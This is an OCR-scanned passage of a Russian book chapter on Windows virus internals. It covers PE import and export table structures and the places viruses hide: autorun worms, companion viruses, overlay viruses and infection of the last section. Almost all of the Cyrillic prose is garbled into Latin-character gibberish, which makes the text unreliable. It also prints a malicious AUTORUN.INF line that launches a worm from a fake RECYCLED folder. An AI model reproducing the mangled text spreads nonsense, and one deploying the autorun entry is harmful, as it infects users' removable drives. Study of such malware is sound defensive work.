Windows 98 mnosie «ImportTableRVA» umeer srauenue 6000h, uto co-
OTBETCTBYET «BHYTPEHHOCTsIM» cekitnn «.idatas. Hy a Mectomosoxkenue
caMO# 3TOI CeKIMM B ANCKOBOM haiine uaBecTHo (cM. mosie «Pointer-
ToRawData» TabiuIbl CEKIHii).

Tabsuita UMITOPTa — HTO «BXO/[» B Pa3BETBJICHHYIO CTPYKTYPY MAHHBIX,
COJIEPIKATIYTO CBE/ICHUS 06 IMEHAX ¥ a/[PecaX MMIOPTUPYEMBIX O0BEKTOB,
a Takske O MPUHAJIEKHOCTH WX TEM WM HHBIM Onbanotekam. Bot hopmar
«CTPOKM» ATOM TaBJIHIIBL:

OriginalThirstThunk dd ? ; +00h - RVA appeca uMeHM ¢yHKLMM
TimeDateStamp dd ? ; +04h - MeTka paTel M BpeMEHW



238 <«  ®dannosble Bypycsl B \Windows

ForwarderChain dd ? ; +08h - He ncnonb3yetcs
Name dd ? ; +0Ch - RVA umenu 6ubnuoteku
FirstThunk dd ? ; +10h - RVA nuHeliHoro agpeca ¢yHKuuu

Teopernuecku 1mose «ImportTableSIze» B Tabiuie 06bEKTOB Xapak-
Tepusyet pazmep tabauiel nmmopra. Ho npaxkTuka nokaszasna, uro 6oJee
HaJIeKHBIM SABJISIETCS CKAaHUPOBaHUE TabJIMI[BI UMIIOPTA JI0 TEX MOP, MOKa
BCE €€ TIOJIsT He OKAKYTCS HyJIeBBIMU. [IpUHIMIT XpaHeHust nHGOPMAaInH,
OIIMChIBAEMOIi 9TOM TabJIuieil, IpeacTaB/ieH Ha puc. 4.11.

TaGnuua wmnopTa

OriginalThirtstThunk | TimeDateStamp | ForwarderChain [Name [ThirstThunk

7] 1 (sl 2]

TaBrnuua agpecos
WMEH WIW OPANHANOE, Maccue agpecos
hyHKUMA ACCHB MMEH thyHKUMIA hyHKkuma (IAT)

Maccue\men Gubnuore
Moackazka msn / \
N // g { /' \
B
L& > ¥ Il Heeaaae
L= = | ——— [ S—

Puc. 4.11 < Opranmzaumsa umnopta B PE-nporpammax

Ho ne Tak Bce mpocto. Ha camom siesie MexaHM3M UMITOPTa BHEITHUX
00bekToB, ucnoibsyembiii 8 Windows, mpejcrasiasier coboii COBOKYII-
HOCTb HECKOJTBKUX PA3JIMUHBIX METO/IOB, PEIIAIONINX OTHY U TY K€ 3a/[a4Y,
HO T0-Pa3HOMY — B 3aBUCUMOCTH OT BEPCUU ONEPAIIMOHHON CUCTEMBI; OT
BU/Ia UMIIOPTUPYIOTIEH TPOTPAMMBI; OT KOMITOHOBIIIUKA, KOTOPBII CreHe-
PHPOBAJ POrPaMMHBIN (hailr; 0T 6ubanoTeku, GYHKIIMH KOTOPOU HM-
TIOPTUPYIOTCST; U €11le OT MHOTHX YCJIOBUH.

OOBIYHO KaKIast «CTPOKa» TaOJUIBI UMITIOPTAa XAPAKTEPUIYET TIETYIO
rpytny GyHKIUH, UMIIOPTUPYEMBIX U3 KaKO#-TO OTnpeneseHHoi 6ubmno-
TEKH, CUMBOJIbHOE UM KOTOPOH ajipecyercs mojeM «Name» (Hampumep,
atoit Gubamorexoiit moxker ObiTh « KERNEL32.DLL»). Kimouesyto posb
B KaXK/I0W1 «cTpoKe» urpaet mnoJie « TimeDateStamps, koTopoe nipejnasna-
YEHO JIJIST XPAaHEHUST YHUKAIbHON METKY TOU Bepcuu OUOJIMOTEKH, HA KO-
TOPYIO OPUEHTUPOBAJICS KOMIOHOBINUK, CO3/IaBas MPOTPAMMHBIH (hafi.



Bupychl Ang 32-pa3paaHbix Bepcu Windows < 239

PaccMOTprM HECKOJIBKO PA3JIMYHBIX BAPUAHTOB YMCIOBBIX 3HAUCHUH HTO-
TO 110JIs1, KOTOPbIE PeaibHO BCTPEYAIOTCS B TPOrPAMMHBIX (haiiyax.

BapuanT nepBelil — «CTaHZAPTHBIA» 1 HanOoIee yacThlil: mose «Time-
DateStamp» conepskut 3nauenuie (. ITO O3HAUAET, YTO KOMIIOHOBIIUK
U3HAYAITBHO HE OPUEHTHPOBAJICS HA KaKyl0-HUGY/Ib KOHKPETHYIO BEPCHIO
6ubmnorekn. B stom ciyuae mose «Original ThirstThunk» ccburaercs
BHYTPb «TabJIUIIBI a[pecoB UMEH WU OPAUHAIOB (QYHKIIMIT> Ha MepPBbIii
32-6UTOBBIN 3JIEMEHT B TOJATPYIINE MOCJIE[0BATEIBHO PACIIONOKEHHBIX
RVA nmen (wim opaunanos) pyuximii, a mose «ThirstThunk» — BayTps
tabsmipl «[AT» Ha miepBbiii asemenHT B oArpyiine RVA camux GbyHKIuHi.
O6e 9Th NOATPY Il «CUHXPOHHBI», TO €CTh UX AJIEMEHTBI ¢ O[HHAKOBBIM
UHJIEKCOM OIUCHIBAIOT OJHY U TY K€ (DYHKIINIO, 1 00€ OHU 3aKaHIMBAIOT-
¢Sl HyJIeBbIM asieMenToM. OpauHan oT ajpeca UMeH! (DYHKIIMKT OTIUYUTD
OY€eHb IIPOCTO: ECIIH B 3jieMeHTe « TaOJIUIIbI a/[PECOB UMEH MU OPUHATIOB
dyHKIMIA» YCTaHOBJIEH B € IMHUILY CTapiiuii 31-ii 61T, TO OcTanbHble OUTHI
PeCTaBAAIOT c000it HoMep hyHKIK B GUOIMOTEKE, TO €CTh ee OPANHAT,
ecm a10T OUT cOpouren B 0, TO aHHOe 4-0aliTOBOE YUCJIO IIPEACTABIIIET
co00i CCBIIKY BHYTPb «MAacCHBa MMeH (DYHKIUN». ITOT MACCUB COZEP-
JKUT 3aIUCH TIePEMEHHOM JUIMHBI, IepBble iBa Gaiita KOTOPBIX COJepKaT
YUCJIOBYIO «IOJICKA3KY» 3arPy34nKY, T/le UCKaTh (PYHKIUIO B GUOINOTEKE
(uyacTo ato npocto 0), a jasee cieayer CTPOKa UMEHU, 3aKAHUNBATIOTIASICS
nysiesbiM Oaiitom. Keratu, nnoraa nose «Original ThirstThunks mosker
OKas3aThCs IyCThIM, B 9TOM ciydae noJe «FirstThunks» wecer aoiinyio Ha-
IPY3KY: B IIPOrPaMMHOM (haiijie OHO COIEPIKUT CCHLIKY BHYTPD « TAOIHIIbI
WMEH WJIN OPAMHANOB (DYHKIUIT», a TIOCJIe 3arPy3KH B IaMSATh — CCBLIKY
BHYTPb «IAT». MaccuB «IAT» ctaHOBUTCS aKTYaJbHBIM TOJIBKO TTOCJIE 3a-
IPY3KHU IIPOTPAMMBbI B TIaMSATh, KOT/IA 3arPy34YMK [TOMENIAET B HETO pealib-
Hble 3HAYEHUS a/IpecoB (PYHKITUI.

BapuanTt BTOpPOIi, XapaKTepHbIi /11 HEKOTOPBIX CUCTEMHBIX YTHUJINUT,
BXOZAMMX B AucTpuOyTuBHYI0 HocTtaBKy Windows: mose «TimeDate-
Stamp» comepsxkur snadenue, oranynoe or 0, nanpumep OFFFFFFFFh.
ITO 03HAYAET, YTO KOMIIOHOBIIUK YUEJI CJeyioliee 06CTOATENbCTBO: JIJIst
KOHKpeTHOI Bepcun Windows, ¢ KOTOPOIi 01HO3HAYHO CBsA3aHa KOHKPET-
Has BEPCUS CTAaHAAPTHON JMHAMMYIECKON OMOIMOTEKH, INHERHbIE aapeca
PACIIOIOKEHMS PA3JIMYHBIX CEPBUCHBIX (DYHKITMH KECTKO (DUKCHPOBAHBI.
Takum 06pa3oM, CIIOKHBINH MPOIECC TTOUCKA M COMOCTABJIEHUS UMEH U
ajpecoB (DYHKIUI, OMMCAHHDBIIA BbIIIE, OKA3bIBAETCS M3OBITOYHBIM. AK-
TyasibHble ajipeca GyHKIINN MOKHO 3apaHee, elle Ha aTare KOMIIOHOBKU
JKECTKO TIPOIHMCATh B IPOrpaMMe, T10/ipa3yMeBasi IIpyu 9TOM, YTO JTAHHYIO
[IPOTpaMMy HUKTO He OyJIeT MBITAThCS 3aIlyCKATh B HETIOAXOISIIENH Bep-
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cun Windows. Takoil Bux uMnopra B (bMPMEHHOH JOKYMEHTAIUU OT
Microsoft nassiBaercst bound-umnopmom (ot auri. to bind — crmerats
uyro-160 BMecte). Eciu «TimeDateStamp» coIepKUT KaKoe-TO KOHK-
peTHOE YMCI0BOE 3HaYeHue, To nHdopmalust 06 uMeHax 6GubaOoTeK Xpa-
HUTCS TaK K€, KaK M B «CTaHJaPTHOM» cJiydyae, OollMcCaHHOM BbIle. Ecin
«TimeDateStamp» comepxxur FFFFFFFFh, to ang pocryna x umenam
OGUOIMOTEK MCIOJIB3YETCs OTebHast TabJIuIa, KOTOpas ajpecyeTcst mo-
seMm «BoundImportRVA» sarosoBka PE-tiporpammbr. DopMat Kakaoro
AJIeMEeHTa ATOH TabJIMIBI BBITJSIUT CIELYIONM 00pasoM:

TimeDateStamp dd ? ; +00h - MeTka paTbl/BpeMeHn

0ffsetModuleName dw ? ; +04h - Cmeuwenve umeny 6ubanoTEKM
NumberOfModuleForwarderRefs dw ? ; +06h - KonuyecTBO "onocpenoBaHHbX Bb30BOB

Mertka gaTsl 1 BpeMeHH, XpaHdiasics B ojie « TimeDateStamps, Hy k-
Ha JJIT CPABHEHUSI CO 3HAUYEHUEM B OJIHOMMEHHOM TI0JIE 3aT0JI0BKa 6u6-
JIMOTEeKU — BAPYT oHa (6uOIMOTEKA) BCe-TaKU MMEET APYryio Bepcuio?!
ITose «OffsetModuleName» cogepskut cMerieHne uMeHu OUOIMOTEKH,
orcurThiBaeMoe oT Hauaia bound-tadmuipsl. ITose «NumberOfModule-
ForwarderRefs» Tpebyercst 3arpy3urky B TOM CJy4ae, €CIM UMIIOPTH-
pyeMast (DyHKIIMsI caMa BBI3bIBAET KaKyO-HUOY/b JAPYTYIO (GYHKIUIO U3
APYToit GUOINOTEKY, BEPCUIO KOTOPOU TOKE HEOOXOIUMO ITPOKOHTPOJIH-
poBarb. A TJie JKe XpaHATCs aKTyaubHble ajpeca pyHkiuii? [lox HUX Bbijie-
JieH MaccuB 32-0MTOBBIX JBOMHBIX CJIOB, aapecyemblii mojgeM «IATRVA»
sarosioBka. OH pasbUT Ha HECKOJIBKO TPYIII (110 KOJMYECTBY OUOINOTEK),
pasJiesIeHHBIX HYyJIeBbIMU ajieMeHTamu. OO1iee KOJMYECTBO 3JEMEHTOB
TAT-TabJuiibl JIETKO OIpeeisieTcst o 3HaueHuo moJst <IATSizes.

Tperuii cirydaii, COOTBETCTBYIONINI TaK HA3BIBAEMOMY <OMLIONCEHHO-
MY» umMnopmy, ToXe U3PEJIKa BCTpedaeTcst B mporpamMmax. [1ogpoGHO Mbl
€ro paccMaTpuBaTh He Gy/IeM, TaK KaK B KOHTEKCTE Hallleil KHUTH OH O0JTb-
IOTO MHTEPeca He MPECTABISIEeT. YIIOMSIHEM TOJbKO, YTO OCHOBHAS U/est
«OTJIOJKEHHOTO» MMIIOPTA 3aKJIIOYAEeTCsI B MEPEHAIPaBIEHUN 3aIPOCOB
HEKOEeMY KOMIIOHEHTY OIepPAIlMOHHOI CUCTEMbI, KOTOPBIN [UHAMUYECKN
OIpejiesisieT HyKHbIE ajipeca (DYHKIUN U MOCTABJSET UX B TAOJIHUILY WM-
nopra.

WTax, Mbl pACCMOTPEJIH HECKOIBKO Pa3IMIHBIX CIIOCOOOB, TIPU ITOMOIIIN
kotopbix PE-iporpamma mMozkeT mMnopTrpoBaTh (GPyHKITMN M3 BHENTHEN
nuHamMudeckoil 6ubsmorexu. Cleyer OTMETHTD, YTO B YHCTOM BUE OHU
B PE-niporpamMMax mpakTHYeCKH He BCTPEYatoTCst, a 0OBIYHO MMEIOT MeC-
TO pasinunble nx KomGuHanuu. Yacro 8 PE-iporpamMme TipucyTCTBYIOT
cayskeOHbIe JaHHBIE, KOTOPbIE MOKHO MCIIOJIb30BaTh 1 JIJISI «CTaHIapPTHO-
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rO», ¥ JUIsI «CILJIETEHHOTO» UMIIOpTa. Ec/ii nMeercst albrepHaTHBa, TO 3a-
IPY34HK IIPOrpaMM 0OBIYHO HAYMHAET Pa3bop cTpyKTyp ¢ bound-ummopra
(Tak Kak OH IIpolie 1 OBICTPeE) U TOIBKO IIPU HECOBIAAEHNN BePCHii 610~
JIMOTEK MEPEXOUT K «CTAHAAPTHON» UJIN «OTJIOKEHHO» METO/IUKE.

4.3.1.4. Ixcnopm ob6sexmos

ITO MexaHU3M, 0OeCIIeUnBAOIINN OIIePAIIUi0, OOPATHYIO K UMIIOPTY.
ITpu oMoty HeTo IMHAMUYeCKe OUOIMOTEKY (2 MHOT/IA U UCTIOJIHSIEMbIE
[IPOTPAMMBI) MIPEAOCTABISIIOT HEOOXOMUMYIO CIYKEOHYI0 MH(POPMATIIIO
0 TpoIleypax U (PYHKIUSAX, KOTOPBIME «COTJIACHBI OAETUTHCSI> C JAPY-
rumu iporpamMamu, Hampumep, cucremuast 6ubmoreka « KERNEL32,
DLL» B pasubix Bepcussx Windows cOEpPKUT OT HECKOJBKUX COTEH JI0
HECKOJIBKUX TBICSY TAKMX «O0IIEI0CTYITHBIX> (QDYHKIIUI.

MoryT Jin IpOrpaMMbl U JMHAMUYECKHE OUOJHOTEKH OJHOBPEMEHHO
UMITOPTUPOBATD U 9KCTIOPTUPOBaTh hyHkimu? [la, moryT. Hampumep, mc-
MTOJTHAEMbBIE ITPOTrPaMMBbI, ITIOATOTOBJIEHHDbIE [JIA pa6OTbI 1101 ylIpaBJIeHUEM
OTJIaJIUMKA, KPOME BIIOJTHE €CTECTBEHHOTO UMIIOPTA, TAKXKe SKCIIOPTHUPY-
0T HECKOJIBKO (DYHKIIUH, KOTOPBIMU 9TOT OTJAMYUK OYJIET MOJb30BATh-
cst. A muaammdeckas 6ubmoreka «KERNEL32.DLL» w3 Windows NT
MTOYTH BCE IKCIIOPTUPYeMbIe (DYHKIMH TTPEABAPUTEIbHO UMITOPTUPYET U3
npyroit 6ubmoreku «NTDLL.DLL», rjie OHE HA caMOM JIeJie 1 PEeATn30-
BaHBbI.

Pa3bop MexaHM3Ma 9KCIIOPTa CJIeyeT HAUYUHATH C OTJIABJEHUS, TI0-
3UIM KOTOPOTro onpezenisercs cogepxuMbiM 1os «ExportTableRVA»
3aroJIOBKa IIPOrpaMMbl. JTO OIJIaBJIeHUE W Bce ciyKeOHble TabJuIbL,
OIUCHIBAIOIIHE HKCIIOPT, YACTO KOMIIAKTHO PACIIOJIAraloTCst B OMHOMN 13
cekiuii (Hanpumep, B «.edata»), HO cylecTByeT HeMaJjo AMHAMUYECKUX
6uUGIMOTEK U TIPOTPAMM, B KOTOPBIX 3TO He Tak. CTPYKTYpa OrJIaBIE€HISL:

Characteristics dd ? ; +00h - [lone xapakTepucTuk, 00b4HO 3Aecb comepxutcs 0
TimeDateStamp dd ? ; +04h - MeTka BpeMeHuW W AaTbl CO3[aHus

MajorVersion dw ? ; +08h - CTapwee cnoBo Bepcuu

MinorVersion dw ? ; +0Ah - Mnagwee cnoBO BepcuM

Name dd ? ; +0Ch - RVA umeHu GMONMOTEKM MW NPOrpamMMbl

Base dd ? ; +10h - Yucno, ¢ KOTOPOro HAYMHAETCA HyMmepauus GyHKLUMA
NumberOfFunctions dd ? ; +14h - Konn4yecTBO GyHKUMIA

NumberOfNames dd ? ; +18h - Konn4ecTBO MMEH GYHKLMIA

AddressOfFunctions dd ? ; +1Ch - RVA Tabnuup aapecos ¢GyHKUMI

AddressOfNames dd ? ; +20h - RVA Tabnuup aapecoB WMeH ¢yHKLMi
AddressOfNameOrdinals dd ? ; +24h - RVA Tabnuub HOMEPOB GYHKLMIA

Hanbomee Baxubl aaa nac nonsa «AddressOfFunctions», «Address-
OfNames» u «AddressOfNameOrdinals». Onu comepskar aapeca TabJrwil,
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OIMCBHIBAIOIINX JKCIOPTUPYeMble (hyHKIMU. B3aumoeiicTBue NaHHBIX,
pasMeNIeHHBbIX B 9TUX TabJIUIaX, MOKHO TIPEACTABUTD CJAEYONUM 00-
pasomM:

Ta6nuua Tabnuua Ta6nuua
agpecoB UMeH HOMepoB afpecos
DyHKLMA hyHKLMA yHKLWA

—f = —————— - — = — = ———— — 1 ’

; |

! 32 Bura 16 ButoB 32 BuTa

Puc. 4.12 « Opranusdaumsa skcnopta B PE-nporpammax

Kax 6b110 HAMH PACCMOTPEHO paHee, UMIIOPTUPYIOTIAst TPOrPaMMa JJIst
ZOCTYTIA K UHTepecyomieil GyHKIIMKU MOXKET yKa3aTh Kak ee UM (HaIpH-
Mmep, «ExitProcess»), Tak u opaunHan (Harnpumep, 248). CooTBETCTBEHHO,
MEXaHU3M 9KCIIOPTa OCHOBAH Ha JBYX TabJIMIaX, O/[HA U3 KOTOPBIX COJEp-
JKUT 32-0MTOBbIE YKasaTeJu Ha CTPOKOBbIE MMeHa (DYHKIMIA, a Apyras —
16-6uTOBBIE OPSIAKOBbIE HOMEpPa (9TO ellle He opAnuHabl!). DT TabJILbI
conepxart o «NumberOfNames» zariceil 1 «CUHXPOHHBI», TO €CTh 3aITHCH
C OJIITHAKOBBIM MH/IEKCOM OIUCHIBAIOT O/IHY U TY ke hyHKImo. CKanupyst
UX TIapaJljiesIbHO, MOKHO 110 UMeHU (QYHKIIMU Y3HATh ee TTOPSIIKOBBII HO-
Mep, a 110 MOPSIIKOBOMY HOMepY — uMsl. I[lopsiikoBelit HoMep yHKIMN —
9TO ee MHAEKC B «Tabsmie agpecos GyHKIUI». VIMEHHO 9TOT MHAEKC U
CUUTAETCSI «OPAUHATIOM», II0 KOTOPOMY BBITIOJTHSIETCS 9KCITOPT (PYHKITUI.

«Tabsnia agpecoB GyHKIUIN», IO CPABHEHUIO € APYTUME TabIUIIAMH,
YCTPOEHA HECKOJIBKO CIIOJKHEE.

Bo-nepBbIX, HymMepaius ee 3amiceil HAUMHAETCS ¢ YUCJIA, KOTOPOe He
06513aTeJIBHO PABHO €ANHUIIE, U OMPE/IessieTcst 3HaYeHeM T1oJist «Base»
oryiaBjeHus. VIMEHHO 1MOITOMY «ODAMHAT» MOKET HE COBIIAZATh C «I10-
PSIIKOBBIM HOMEPOM ».

Bo-BTopbIX, B HElt MOTYT BCTPeTUTHCA ajipeca (DYHKINI, KOTOPBIM HET
coorBercTBus B «Tabuile agpecoB uMeH GyHKIuUI» U B « Tabimie HoMme-
poB GyHKIHI». ITO MTPOCTO O3HAUYAET, YTO YKa3aHHbIe (DYHKIUU XOTS U
MPUCYTCTBYIOT B OGUGIMOTEKE, TEM HE MEHEE He TIPEAHAZHAYEHBI TSI 9KC-
nopra.

B-tperbux, B Tabmile MOTYT BCTPETUTHCS <ITYCThIE» 3AIUCH C HYyJe-
BbIM 3HAYEeHUEM, TO €CTh JAHHBIN OPAUHAJ 3ape3epPBUPOBAH, HO HE WC-
MIOJIB3Y€eTCsI.
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B-4eTBepTHIX, B Pa3HbIX 3alUCIAX MOTYT BCTPEYATHCA OJMHAKOBBIE
sHauenus. Hanpumep, B «<KERNEL32.DLL» us Windows 95 dyHkumu
«BackupRead» (opaunan 127) u «BackupWrites (opaunan 129) peanu-
3YIOTCST OZTHUM U TEM K€ KOJIOM, ¥ TI09TOMY UM B TaOJIUIIE COOTBETCTBYET
OJIMH ¥ TOT 3Ke ajipec.

HaxoHerl, HeKOTOpBIE 3amucu B 9TOH TabJuIle MOTYT YKa3biBaTh He
Ha KOJI BHYTpPeHHe# (YHKIINH, a Ha CTPOKOBOE UMl BHEIIHEH (YHKIINH,
peIBAPUTETHHO UMITIOPTUPOBAHHON U3 APYTroi OUOINOTEKN. DTO Xapak-
TepHo, Hanpumep, 1 6ubnorekn «KERNEL32.DLL» u3 Windows NT.

4.3.2. [pe pacnonarailoTcsi BUPYChbI

B Windows MoryT cyliecTBoBaTh 1pOCTbie BUPYChI TPAAMIIMOHHBIX THIIOB
(«CIIyTHUKWU» U «OBepJIeiiHble» BUPYCHI), HO B HOJABJISIONIEM OOJIbIINH-
CTBE CJIy4aeB BUPYCOIIUCATESIMU UCII0Ib3YIOTCS METO/IbI 3apaskKeHus, OC-
HOBaHHbBIE HA <MMILJIAHTAIN» KOJIa BUPyca B CTPYKTypy PE-niporpammbr.
[TosBUINCH TaKIKE HOBbIE U HEOOBIYHBIE METO/IbI PA3MEIIIEHS BUPYCHOTO
Koma. Mtak, 060 BceM M0 MOPSIJIKY.

4.3.2.1. Daiinosvie <uepus

Bupycsl aToro THma He NPUKPEIUISIOTCI K APYTHM IIPOTPaMMaM,
a TIPOCTO «JIesKaT» B KaKOM-HUOY/Ib KaTajore B BUE OTAEJbHOTO (haiiia.
Kak »e onu nosydator yupasiaenne? B anoxy MS-DOS Bupycam 11o0106-
HOTO THITA TPUXOJIMIIOCH U3 IIKYPbI BOH JIE3Th, IBITASICh COOJIA3HUTD [10JIb-
30Baresisi KaKUM-HUOY/b <«[IPUBJIEKATEJNbHBIM» HAUMEHOBAHMEM THIIA
«PORNO.EXE» wiu «RUNME.COM>». Tenepp atoro He Tpebyercs.
Yepsb MOKET TIPOCTO TIPOIMCATh CBOH 3amyck B Peectpe (Takoil moaxos
HIMPOKO UCIIOJIb3YETCsI CEeTEBBIMU U 1OYTOBbIMU uepBsimu). Daitnosbie
ke yepBu ucnosb3yioT daitn «AUTORUN.INF», KoTOpbIil Cay>kUT 17151
cTapTa MporpamMm, pa3MeIeHHbIX Ha CheMHBIX HocuTessix — CD-nuckax u
«mamkaxy. Bor Tummunbrii npumep conep:kuMoro «AUTORUN.INF»,
0OHAPYKEHHOTO HA 3aPAKEHHOI «(DIIaIIKe»:

[AutoRun]
shellexecute=recycled\sys.exe

Herpyano coobpasuts, uto Bupyc (B ZaHHOM ciydae 910 Win32.
Perlovga.a) cospaer Ha «puaiuike» xaranor «RECYCLED» (a10 craH-
JapTHOE UM JIJIST «<MYCOPHOH KOpauHbl» Windows) 1 TIOMeIaeT B HeTo
cBoe tesio. Ctout BectaBuTh «(iatky» B USB-pazbem, 1 BUpPyC TyT xKe
3aITyCKaeTCsI.

CyIecTBYIOT JI0BOJBHO CJIOKHBIE CIIOCOOBI OTKIIOYEHUST aBTO3aITyCKa
IporpaMM, CBsI3aHHbIE ¢ peakTupoBanueM Peectpa. Onnako 3a010K1po-
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BaTb pacipocrpanenne AUTORUN-uepseil MOKHO U «pabode-KPeCThsIH-
CKUMM» METO/IaMU — JIOCTATOYHO BPYYHYIO CO3/1aTh Ha «(JIalkes KaTajior
c umeneM «AUTORUN.INF», momecTuTb B HEro elie HeCKOJIbKO BJIOKEH-
HBIX KaTaJIo0TOB (BO3MOKHO, C «3alpelieHHbIMI» uMeHaMu Tuma <«AUXy,
XOT$1 9TO He 00543aTeIbHO) U 3allUTUTh WX BCe OT 3arucH. Jlanexko He Besi-
KHiT «4epBsAK» COOOPA3UT, YTO Iepell HUM He (aiiyl, a KaTajor; 4To s
ero ynaJieHust HeoOX0/IMM PEKYPCUBHBINA 0OX0/1 JIePEBa ¢ «BBIUUIIIEHIEM>
BCETO COZIEPIKUMOTO, CO COPOCOM OUTOB, € TPABKON UMEH | T. TI.

[lemieBo u cepauTo, He Tak Ju?

Brpouem, B 2011 r. Microsoft BblycTHIa T1aT4, A€aKTHBUPYOLIMIL
1t Beex Beperii Windows aBrosairyck co cMeHHbIX HocuTesiei, a B Win-
dows 7 aBTo3a1yCcK MpocTo-HAMPOCTO OTKIIOYEH 0 YMOTYAHHIO.

4.3.2.2. Bupycoi-<cnymuuxu»

DopmMabHO BUPYCHI 9TOTO TUTIA BIIOJIHE MOTYT JKUTh U PA3MHOKATHCS
noj;, yrpasjienueMm 32-paspsanbix sepcuii Windows. Vx cBoiictBa ObLim
Hamu usydenbl Ha npuMepe MS-DOS-«cobparbeB», 1 HOBOro 100aBUTH
ocraercs oueHb Majio. IToxainyii, camoii uuTepecHoil ocobenHocTbio Win-
dows, Biustroreil Ha «IOBaIKU» BUPYCOB-CIIYTHUKOB, SIBJISIETCST MOPSIZIOK
MOUCKA CUCTEMON TPOrpaMM U JTUHAMHUYECKUX OMOJIMOTEK, MpeHa3HA-
YEHHBIX JIJIS 3arPY3KHU B TAMSATh!

CHayaja B KaTajore mporecca-popnTes;

3aTeM B TEKYIIIEM KaTaJore;

HoToM B <«cucreMHoM» Katajsore Windows (manpumep, B «C:\
WinNT\SYSTEM32» uiu B «C:\Windows\SYSTEM>»);

nasee B «6a30BOM» KaTajlore orepalioHHON cucTeMbl (Halpumep,
B «CAWInNT» wiu B «C:\Windows»);

HAKOHeT, B KaTaJI0rax, IIePeUynCIeHHbIX B «TPOTIe» (TO eCTh B Tiepe-
MeHHOU okpy:kenus «PATH»).

Hampumep, BUPYC MOKET CO3/1aTh KaKOW-HUOY/Ib «IIO/IETbHBIN> KOM-
MOHEHT OTEPAIIMOHHON YTUIUTHI (JIMHAMUYECKYIO OUOJIHOTEKY WU YTHU-
JIUTY), KOTOPBIiL TI0 YMOJIYAHWIO PACHIOJIAraeTCsl B «0a30BOM KaTajiores, u
MIOMECTUTDH €T0 B «CHCTEMHbBII» KaTaJor. B aToM ciydae B IepByTo ouepe/ib
OyIeT UCTIONHATHCS. UMEHHO «IOJJIeTKay. TaK, B YaCTHOCTH, TIOCTYIIAOT
Bupycoi cemeiictBa Win9X. Dupator ¢ 6ubsmnorexoii « KERNEL32.DLL>.

Brpouewm, st BupycoB cemeiictea Win9X.Dupator aTo Bcero Jjiuiiib
«BCIIOMOTaTeTbHBIN» MexaHuaM. 1IlaHchl ke Ha pacrpocTpaHeHne «4unc-
TBIX» BUPYCOB-<«CIIyTHUKOB» HE3HAUUTEJBHBI, T09TOMY B cpesie Windows
WX OUYeHb MAJi0, ¥ BCTPEYAIOTCS OHU TOJBKO B KOJITIEKIUSX BUPYCOJIOTOB
B «3aCIPTOBAHHOM» BUJIE.

©C O 000
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4.3.2.3. «0Osepaeiinvie> eupycol

«OBepresmu» B PE-miporpaMmax MOTYT cYHMTaThCsl JTIOOBIE JaHHBIE,
(hopmasbHO HaxojAIMECST BHYTPU IIPpOrpaMMHOro Gaiijia, HO He Cco-
IepsKalecs BHYTPH ceKuuil (He sabbiBaiite, PE-3arosoBok Mbl ToXe
YCJIOBHO cunTaeM cekiueii!). Bee, 4To pacrmosio;keHO BHE CEKIWH, TTpu
3arpyske IporpaMMbl B HaMsTb He TonazaeT. B 32-paspsjHbiX Bepcu-
sx Windows BO3MOKHOCTH BUPYCOB, PaGOTAOIINX [0 «OBEPJICHHOMY>
MPUHITUITY, HECKOJIBKO OTPAHUYEHBI, IO CPABHEHUIO C BO3MOXKHOCTSIMU
ux DOS-co6parbeB. DTO CBA3aHO MIPEXK/IE BCETO C 3aIllPETOM BUIOM3Me-
HeHus (hbaiijia UCTIOJHSIONIECsT B JaHHBII MOMEHT ITporpamMmmbl. Koneuno,
«OBepJIeiiHbIe» BUPYCHI CYIIECTBYIOT, M UX HE TAK Y3K U MaJIO, HO OHM, KaK
MPaBUJIO, HAMMMCAHBI HA S3bIKAX BBICOKOTO YPOBHS M UCIOJB3YIOT BECh-
Ma TIPUMUTHUBHYIO U MAJOKOPPEKTHYIO TEXHUKY: TPOCTO <OTPBITUBAIOT»
CBOI oBepJieli (TO ecTh OPUTHHATIBHYIO IPOTPAMMY) BO BHENTHUN aiin
¢ JKecTKO (PUKCUPOBAHHBIM WK ciydailHbiM (Bupyc Win32.Sbit.8192)
MMEHEeM M 3aITyCKaloT ero Ha ucroxHeHue npu nmomonu «CreateProcess»
mm «WinExec». HexoTtopbie porpaMMebl, 3aIryliieHHbIe O/ <IY>KIM»
HUMEHEM, TIPOCTO He OYYT MpaBuIbHo pabotarh. K ToMy ke mpakTiyecku
BCe TaKue BUPYChI He JIOKUIA0TCS OKOHYaHUsT pabOThI 3aIlyIIEeHHON TPO-
rpaMMbl ¥ He yIausioT ee (aiiia, a MpoCcTO MPUCBAUBAIOT €My aTpubyT
<HEBUIUMBIIT».

KotreuHo, cyiecTBYOT u 60Jiee KOPPEKTHBIE METOIBI, HO OHU IOBOJIBHO
CJIOKHBI U CBSI3aHbI C BOCIIPOU3BEIeHUEM aJIFOPUTMa, UCII0JIb3YEeMOr0 CH-
creMHbIM 3arpysurikom Windows. He uckimoueHo, 4To BUPYCHI, HCIIOJIb-
3YIOIIHE TAKKUE AJITOPUTMBI, CYIIECTBYIOT, HO B JII0OOM CJIy4ae UX eIUHU-
ITbI, ¥ OGHAPYIKUTH UX MOKHO TOJIBKO B KOJIJIEKITHSIX BUPYCOTIOTOB.

Becbma xapakTepHBIM MPU3HAKOM MPOCTBIX «OBEPJIEHHBIX» BUPYCOB
ABJISIETCS U3MEHEHME MKOHKM 3apaskeHHOM 1porpaMMmbl. B camom zeie,
Be/Ib 1TOCJIe 3apakeHus B (haiijie «KUBET» COBCEM JIpyTasi mporpaMmal

4.3.2.4. Bupycol 6 pacuupennoii nocieonei cexuuu

ITO caMblii IPOCTOI U CaMblii €CTeCTBEHHBIN CII0CO0 pa3MeleHKs 110~
croponHero kojia B PE-niporpamme. CyTb €ro 3akJio4aeTcsi B TOM, 4TO BU-
PYyC IIPOCTO YBEJINYUBAET B TaOJIUIlE CEKIMiT pasMep HOCAeIHEeNd CEeKIMU
U 3alliChiBaeT BUPYC B 0OpasoBaBlieecst B KOHIle (ailjia H0IMOJIHITEb-
HOE TIPOCTPAHCTBO. ECTeCTBEHHO, IS 3TOM CeKIU HeoOXOAUMO yCTa-
HOBUTH (hJIaTu, COOTBETCTBYIOIIUE UCIIOJTHIAEMOMY KOy, HAU€e BUPYC HE
CMOXKET CTapToOBaTh U3 Hee. BOT mpuMep BUIOMBMEHEHUH, TPOU3OIIe-
mmx B nporpamme «<NOTEPAD.EXE», zapaxkennoii Bupycom Win9X.
DarkSide.1371 (cm. ta6or. 4.1).
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Tabnuya 4.1. UameHeHus B 3arosioBke, Nnpon3seneHHble BUPYCOM
DarkSide

